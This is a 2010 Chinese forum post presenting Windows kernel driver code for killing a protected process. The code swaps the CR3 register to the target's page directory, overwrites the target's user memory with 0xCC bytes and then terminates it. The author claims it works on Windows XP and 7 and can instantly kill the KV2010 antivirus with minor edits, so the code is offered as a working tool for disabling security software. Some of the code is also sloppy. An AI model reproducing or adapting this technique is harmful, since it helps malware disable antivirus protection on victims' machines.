|
本帖最后由 HoviDelphic 于 2010-4-10 23:10 编辑
貌似有不少人关注我的“另类内存清零”,其实原理很简单:
获得待结束进程的EPROCESS->获取EPROCESS+0x18的值(页目录值)->将页目录的值放到cr3中->内存清零->恢复cr3的值。
实现的代码:
- NTSTATUS HwlPVASE( PEPROCESS ptrEProcess )
- {
- ULONG ulPDT=0,ulOldCr3=0,vAddr=0;
- HANDLE hProcess=0;
- NTSTATUS st;
- //HdAttachProces
- if ( NT_SUCCESS(MmIsAddressValid((PVOID)((ULONG)ptrEProcess+0x18))) )
- {
- ulPDT=*(PULONG)((ULONG)ptrEProcess+0x18);
- }
- else
- {
- return STATUS_UNSUCCESSFUL;
- }
- _asm cli;
- _asm
- {
- mov eax, cr3;
- mov ulOldCr3, eax;
- mov eax, ulPDT;
- mov cr3, eax;
- sti;
- }
- //P.V.A.S.E
- for(vAddr=0;vAddr<=0x2000000;vAddr+=0x1000)
- {
- if(MmIsAddressValid((PVOID)vAddr))
- {
- _try
- {
- ProbeForWrite((PVOID)vAddr,PAGE_SIZE,PAGE_SIZE);
- memset((PVOID)vAddr,0xCC,PAGE_SIZE);
- }
- _except(1)
- {
- continue;
- }
- }
- }
- //HdDetachProces
- _asm
- {
- cli;
- mov eax, ulOldCr3;
- mov cr3, eax;
- }
- _asm sti;
- //Test Kill
- st=ObOpenObjectByPointer(ptrEProcess,0,0,0,0,0,&hProcess) ;
- if NT_SUCCESS(st)
- {
- ZwTerminateProcess(hProcess,0);
- ZwClose(hProcess);
- }
- return STATUS_SUCCESS;
- }
复制代码
此代码在Windows XP和Windows 7中测试通过,可以秒杀KV2010(不过要稍微修改一下代码)。 |
|